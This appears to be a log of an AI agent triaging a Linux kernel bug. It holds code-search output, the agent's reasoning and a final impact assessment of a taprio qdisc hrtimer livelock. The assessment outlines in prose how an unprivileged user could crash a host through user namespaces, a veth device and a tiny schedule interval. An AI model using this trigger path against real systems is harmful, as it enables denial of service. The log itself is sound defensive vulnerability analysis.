net/ipv6/addrconf.c:7578: err = ipv6_addr_label_rtnl_register();
net/ipv6/addrconf.c-7579- if (err < 0)
--
net/ipv6/addrlabel.c=627=static const struct rtnl_msg_handler ipv6_adddr_label_rtnl_msg_handlers[] __initconst_or_module = {
--
net/ipv6/addrlabel.c-636-
net/ipv6/addrlabel.c:637:int __init ipv6_addr_label_rtnl_register(void)
net/ipv6/addrlabel.c-638-{
net/ipv6/addrlabel.c:639: return rtnl_register_many(ipv6_adddr_label_rtnl_msg_handlers);
net/ipv6/addrlabel.c-640-}
--
net/ipv6/ip6_fib.c=2555=int __init fib6_init(void)
--
net/ipv6/ip6_fib.c-2567-
net/ipv6/ip6_fib.c:2568: ret = rtnl_register_many(fib6_rtnl_msg_handlers);
net/ipv6/ip6_fib.c-2569- if (ret)
--
net/ipv6/ip6mr.c=1394=int __init ip6_mr_init(void)
--
net/ipv6/ip6mr.c-1415-#endif
net/ipv6/ip6mr.c:1416: err = rtnl_register_many(ip6mr_rtnl_msg_handlers);
net/ipv6/ip6mr.c-1417- if (!err)
--
net/ipv6/route.c=6874=int __init ip6_route_init(void)
--
net/ipv6/route.c-6915-
net/ipv6/route.c:6916: ret = rtnl_register_many(ip6_route_rtnl_msg_handlers);
net/ipv6/route.c-6917- if (ret < 0)
--
net/mctp/device.c=534=int __init mctp_device_init(void)
--
net/mctp/device.c-543-
net/mctp/device.c:544: err = rtnl_register_many(mctp_device_rtnl_msg_handlers);
net/mctp/device.c-545- if (err)
--
net/mctp/neigh.c=334=int __init mctp_neigh_init(void)
--
net/mctp/neigh.c-341-
net/mctp/neigh.c:342: err = rtnl_register_many(mctp_neigh_rtnl_msg_handlers);
net/mctp/neigh.c-343- if (err)
--
net/mctp/route.c=1758=int __init mctp_routes_init(void)
--
net/mctp/route.c-1767-
net/mctp/route.c:1768: err = rtnl_register_many(mctp_route_rtnl_msg_handlers);
net/mctp/route.c-1769- if (err)
--
net/mpls/af_mpls.c=2817=static int __init mpls_init(void)
--
net/mpls/af_mpls.c-2836-
net/mpls/af_mpls.c:2837: err = rtnl_register_many(mpls_rtnl_msg_handlers);
net/mpls/af_mpls.c-2838- if (err)
--
net/phonet/pn_netlink.c=333=int __init phonet_netlink_register(void)
net/phonet/pn_netlink.c-334-{
net/phonet/pn_netlink.c:335: return rtnl_register_many(phonet_rtnl_msg_handlers);
net/phonet/pn_netlink.c-336-}
--
net/sched/act_api.c=2298=static int __init tc_action_init(void)
net/sched/act_api.c-2299-{
net/sched/act_api.c:2300: rtnl_register_many(tc_action_rtnl_msg_handlers);
net/sched/act_api.c-2301- return 0;
--
net/sched/cls_api.c=4096=static int __init tc_filter_init(void)
--
net/sched/cls_api.c-4108- xa_init_flags(&tcf_exts_miss_cookies_xa, XA_FLAGS_ALLOC1);
net/sched/cls_api.c:4109: rtnl_register_many(tc_filter_rtnl_msg_handlers);
net/sched/cls_api.c-4110-
--
net/sched/sch_api.c=2496=static int __init pktsched_init(void)
--
net/sched/sch_api.c-2513-
net/sched/sch_api.c:2514: rtnl_register_many(psched_rtnl_msg_handlers);
net/sched/sch_api.c-2515-
]
|
| 88/2 |
2026/05/23 14:52 |
llm |
expert |
0m
Model:
Tokens:
input: 108472
output: 47
thoughts: 27
Thoughts: Here's a first-person summary, tailored for an expert audience, of the thought process described:
**Diving into the Real-Time Scheduling API**
Okay, time to get a handle on how this real-time scheduling is actually implemented within the kernel. My starting point is the most likely place: `net/sched/sch_api.c`. I need to figure out how the real-time messages are handled when they are passed to the kernel. Specifically, I'm thinking about the flow of those messages within the netlink framework. I need to understand how the user-space requests for RT scheduling are translated into action. The `psched_rtnl_msg_handlers` array seems like the natural place to begin. It's likely that array contains the callbacks that process RTNL messages, so I need to go through it. Let's start there.
|
| 89/2 |
2026/05/23 14:52 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/sched/sch_api.c IncludeLines:true Name:psched_rtnl_msg_handlers]
Results: map[SourceCode:2485: static const struct rtnl_msg_handler psched_rtnl_msg_handlers[] __initconst = {
2486: {.msgtype = RTM_NEWQDISC, .doit = tc_modify_qdisc},
2487: {.msgtype = RTM_DELQDISC, .doit = tc_get_qdisc},
2488: {.msgtype = RTM_GETQDISC, .doit = tc_get_qdisc,
2489: .dumpit = tc_dump_qdisc},
2490: {.msgtype = RTM_NEWTCLASS, .doit = tc_ctl_tclass},
2491: {.msgtype = RTM_DELTCLASS, .doit = tc_ctl_tclass},
2492: {.msgtype = RTM_GETTCLASS, .doit = tc_ctl_tclass,
2493: .dumpit = tc_dump_tclass},
2494: };
SourceFile:net/sched/sch_api.c]
|
| 90/2 |
2026/05/23 14:52 |
llm |
expert |
0m
Model:
Tokens:
input: 109013
output: 46
thoughts: 44
Thoughts: Okay, let me think this through...
**RTNL Handler Registration and Capability Checks**
Hmm, right, `rtnl_register_many` is the function that actually sets up the handlers for the netlink messages. That's the registration part, got it. But a nagging question keeps popping up in the back of my head: where is the all important check of a user's capabilities? I know it's *got* to be somewhere in the receive path. Let me see... yes, that's right... that check has got to happen in `rtnetlink_rcv_msg`, in `net/core/rtnetlink.c`. Good, now I remember. That makes sense.
|
| 91/2 |
2026/05/23 14:52 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/core/rtnetlink.c IncludeLines:true Name:rtnetlink_rcv_msg]
Results: map[SourceCode:6859: static int rtnetlink_rcv_msg(struct sk_buff *skb, struct nlmsghdr *nlh,
6860: struct netlink_ext_ack *extack)
6861: {
6862: struct net *net = sock_net(skb->sk);
6863: struct rtnl_link *link;
6864: enum rtnl_kinds kind;
6865: struct module *owner;
6866: int err = -EOPNOTSUPP;
6867: rtnl_doit_func doit;
6868: unsigned int flags;
6869: int family;
6870: int type;
6871:
6872: type = nlh->nlmsg_type;
6873: if (type > RTM_MAX)
6874: return -EOPNOTSUPP;
6875:
6876: type -= RTM_BASE;
6877:
6878: /* All the messages must have at least 1 byte length */
6879: if (nlmsg_len(nlh) < sizeof(struct rtgenmsg))
6880: return 0;
6881:
6882: family = ((struct rtgenmsg *)nlmsg_data(nlh))->rtgen_family;
6883: kind = rtnl_msgtype_kind(type);
6884:
6885: if (kind != RTNL_KIND_GET && !netlink_net_capable(skb, CAP_NET_ADMIN))
6886: return -EPERM;
6887:
6888: rcu_read_lock();
6889: if (kind == RTNL_KIND_GET && (nlh->nlmsg_flags & NLM_F_DUMP)) {
6890: struct sock *rtnl;
6891: rtnl_dumpit_func dumpit;
6892: u32 min_dump_alloc = 0;
6893:
6894: link = rtnl_get_link(family, type);
6895: if (!link || !link->dumpit) {
6896: family = PF_UNSPEC;
6897: link = rtnl_get_link(family, type);
6898: if (!link || !link->dumpit)
6899: goto err_unlock;
6900: }
6901: owner = link->owner;
6902: dumpit = link->dumpit;
6903: flags = link->flags;
6904:
6905: if (type == RTM_GETLINK - RTM_BASE)
6906: min_dump_alloc = rtnl_calcit(skb, nlh);
6907:
6908: err = 0;
6909: /* need to do this before rcu_read_unlock() */
6910: if (!try_module_get(owner))
6911: err = -EPROTONOSUPPORT;
6912:
6913: rcu_read_unlock();
6914:
6915: rtnl = net->rtnl;
6916: if (err == 0) {
6917: struct netlink_dump_control c = {
6918: .dump = dumpit,
6919: .min_dump_alloc = min_dump_alloc,
6920: .module = owner,
6921: .flags = flags,
6922: };
6923: err = rtnetlink_dump_start(rtnl, skb, nlh, &c);
6924: /* netlink_dump_start() will keep a reference on
6925: * module if dump is still in progress.
6926: */
6927: module_put(owner);
6928: }
6929: return err;
6930: }
6931:
6932: link = rtnl_get_link(family, type);
6933: if (!link || !link->doit) {
6934: family = PF_UNSPEC;
6935: link = rtnl_get_link(PF_UNSPEC, type);
6936: if (!link || !link->doit)
6937: goto out_unlock;
6938: }
6939:
6940: owner = link->owner;
6941: if (!try_module_get(owner)) {
6942: err = -EPROTONOSUPPORT;
6943: goto out_unlock;
6944: }
6945:
6946: flags = link->flags;
6947: if (kind == RTNL_KIND_DEL && (nlh->nlmsg_flags & NLM_F_BULK) &&
6948: !(flags & RTNL_FLAG_BULK_DEL_SUPPORTED)) {
6949: NL_SET_ERR_MSG(extack, "Bulk delete is not supported");
6950: module_put(owner);
6951: goto err_unlock;
6952: }
6953:
6954: if (flags & RTNL_FLAG_DOIT_UNLOCKED) {
6955: doit = link->doit;
6956: rcu_read_unlock();
6957: if (doit)
6958: err = doit(skb, nlh, extack);
6959: module_put(owner);
6960: return err;
6961: }
6962: rcu_read_unlock();
6963:
6964: rtnl_lock();
6965: link = rtnl_get_link(family, type);
6966: if (link && link->doit)
6967: err = link->doit(skb, nlh, extack);
6968: rtnl_unlock();
6969:
6970: module_put(owner);
6971:
6972: return err;
6973:
6974: out_unlock:
6975: rcu_read_unlock();
6976: return err;
6977:
6978: err_unlock:
6979: rcu_read_unlock();
6980: return -EOPNOTSUPP;
6981: }
SourceFile:net/core/rtnetlink.c]
|
| 92/2 |
2026/05/23 14:52 |
llm |
expert |
0m
Model:
Tokens:
input: 111063
output: 66
thoughts: 488
Thoughts: **My Analysis of the `taprio` Vulnerability**
Okay, let's break this down systematically. The core issue is triggered by `if (kind != RTNL_KIND_GET && !netlink_net_capable(skb, CAP_NET_ADMIN))`, which ultimately boils down to a check of `ns_capable(net->user_ns, CAP_NET_ADMIN)`. This means an unprivileged user can't exploit it directly *unless* they're playing with user and network namespaces. And since we're assuming those are off-limits... "Accessible From Unprivileged Processes" is definitely `FALSE`. "Accessible From User Namespaces" is `TRUE` though, because it's possible in that scenario.
Now, I'm quickly scanning for alternate attack vectors. Does `taprio` have another interface? Nope, it's netlink or nothing. So, we're looking at a netlink-specific issue.
Given the constraints, here's what I'm concluding:
* Exploitable: `FALSE`
* Denial Of Service: `TRUE`
* Accessible From Unprivileged Processes: `FALSE`
* Accessible From User Namespaces: `TRUE`
* VM Guest Trigger: `FALSE`
* VM Host Trigger: `FALSE`
* Ethernet Network Trigger: `FALSE`
* Other Remote Trigger: `FALSE`
* Peripheral Trigger: `FALSE`
* Malicious Filesystem Trigger: `FALSE`
Wait, hang on... is "exploitable" truly `FALSE`? The bug is a straight-up CPU stall in the hrtimer interrupt handlerβa perpetual loop. It doesn't overwrite memory, nor does it leak anything. So, no memory corruption or information leak, it's just pure DoS.
Let's double-check the `interval` value. If it's 0, it won't trigger because `0 < min_duration` is true. But what if `min_duration` is 0? We established earlier that `min_duration` is at least 1, so `interval` has to be at least 1. If interval is 1, it loops. if it is 1024, it loops. The essence of the bug is that the `interval` can be smaller than the `advance_sched` execution time. This will cause the timer to fall behind, and because of how `hrtimer_interrupt` works, the backlog will grow exponentially.
I'm comfortable with that assessment. I'm going to call `set-results`.
|
| 93/2 |
2026/05/23 14:53 |
tool |
set-results |
0m
Args: map[DenialOfService:true Exploitable:false FilesystemTrigger:false NetworkTrigger:false PeripheralTrigger:false RemoteTrigger:false Unprivileged:false UserNamespace:true VMGuestTrigger:false VMHostTrigger:false]
Results: map[DenialOfService:true Exploitable:false FilesystemTrigger:false NetworkTrigger:false PeripheralTrigger:false RemoteTrigger:false Unprivileged:false UserNamespace:true VMGuestTrigger:false VMHostTrigger:false]
|
| 94/2 |
2026/05/23 14:53 |
llm |
expert |
0m
Model:
Tokens:
input: 112240
output: 689
thoughts: 552
Thoughts: **My Analysis of the `taprio` Qdisc Scheduler Vulnerability**
Okay, so the results are in, and now I need to solidify my understanding for the final response. My focus is on the `taprio` qdisc scheduler, and there's a serious flaw here. The core issue is this: a user can set up a schedule within `taprio` using an incredibly small interval β think 1024 nanoseconds. The code *does* try to prevent intervals shorter than the time to transmit a minimal Ethernet frame, checking `interval < min_duration`. However, this check becomes vulnerable when the underlying network device claims a very high link speed.
For instance, with a `veth` device reporting 10 Gbps, `min_duration` gets tiny, maybe around 48ns. This means the 1024ns interval *passes* the validation, and then the trouble begins.
When this `taprio` schedule activates, it fires up a high-resolution timer (`hrtimer`) to advance the schedule using `advance_sched`. The problem is that the time it takes the CPU to actually *run* the `advance_sched` callback can easily exceed that 1024ns interval. Locks, RCU dereferences, and all the associated logic of the scheduler easily add 2000ns.
The result? The timer gets behind real time. The `hrtimer` subsystem's interrupt handler (`hrtimer_interrupt`) tries to catch up by looping through the callbacks in `__hrtimer_run_queues`. Because the callback is taking longer than the interval, it never catches up. The `hrtimer_interrupt` has a hang detection mechanism that tries 3 times before capping the delay, but this just makes things worse, exponentially increasing the backlog.
This is where the DoS happens, the CPU gets locked up in the hardirq context for seconds, maybe even minutes. The RCU grace periods don't get a chance to complete, which leads to an RCU stall and a system crash. This is purely a Denial of Service, causing a CPU stall or livelock. There's no memory corruption or privilege escalation here.
The trigger? A malicious user must configure a `taprio` qdisc using netlink (`RTM_NEWQDISC`). This requires `CAP_NET_ADMIN` in the network namespace. While this requires a relatively privileged user, an unprivileged user can achieve it by cleverly creating a new user namespace and then a new network namespace, creating a `veth` device, and attaching the `taprio` qdisc to that. So it's accessible from user namespaces, but not from strictly unprivileged context *without* user namespaces.
|
| 95/1 |
2026/05/23 14:53 |
action |
format-explanation |
0m
Results: map[Explanation:**Analysis of the Bug**
The bug is a Denial of Service (DoS) vulnerability caused by a CPU livelock /
interrupt storm in the `taprio` qdisc scheduler's high-resolution timer
(`hrtimer`).
**Root Cause:**
When configuring a `taprio` qdisc, users can specify a schedule with a list of
entries, each having a specific time `interval`. The kernel attempts to validate
this interval to ensure it is at least large enough to transmit a minimum-sized
Ethernet frame (`ETH_ZLEN`) at the device's link speed (`min_duration`).
However, if the underlying network device reports a very high link speed (e.g.,
a `veth` device which defaults to 10 Gbps), the calculated `min_duration`
becomes extremely small (e.g., 48 nanoseconds). This allows a user to
successfully configure an interval that is very small, such as 1024 ns (1
microsecond), as seen in the reproducer.
When the schedule is active, `taprio` uses a hardirq `hrtimer` to advance the
schedule (`advance_sched`). If the configured `interval` (e.g., 1024 ns) is
smaller than the actual time it takes the CPU to execute the `advance_sched`
callback (which can easily take ~2000 ns due to spinlocks, RCU operations, and
schedule calculations), the timer's expiration time falls behind the current
real time.
The Linux `hrtimer` interrupt handler (`hrtimer_interrupt`) processes expired
timers in a loop (`__hrtimer_run_queues`). Because the callback takes longer to
execute than the interval it advances the timer by, the timer never catches up
to the current time, causing the loop to run continuously. The `hrtimer`
subsystem has a hang detection mechanism that breaks out of the loop, retries,
and eventually forces a delay, but this only causes the backlog of expired
timers to grow exponentially. As a result, the CPU gets trapped in the hardirq
context for seconds or even minutes. This completely starves the CPU, preventing
RCU grace period kthreads from running, which ultimately triggers the observed
`rcu_preempt detected stalls` and crashes the system.
**Security Impact:**
- **Exploitable:** False. This is a pure CPU stall / livelock issue. It does not
corrupt memory, leak data, or provide any primitives for privilege escalation.
- **Denial Of Service:** True. Triggering the bug causes a hard lockup on the
affected CPU, leading to an RCU stall and a kernel panic.
- **Accessible From Unprivileged Processes:** False. Configuring qdiscs via
netlink (`RTM_NEWQDISC`) requires the `CAP_NET_ADMIN` capability in the network
namespace. A strictly unprivileged process without access to user namespaces
cannot trigger this.
- **Accessible From User Namespaces:** True. An unprivileged user can use
`unshare` to create a new user namespace and a new network namespace (gaining
`CAP_NET_ADMIN` over it), create a virtual network device (like `veth` or
`dummy`), and attach the malicious `taprio` qdisc to it to crash the host
system.]
|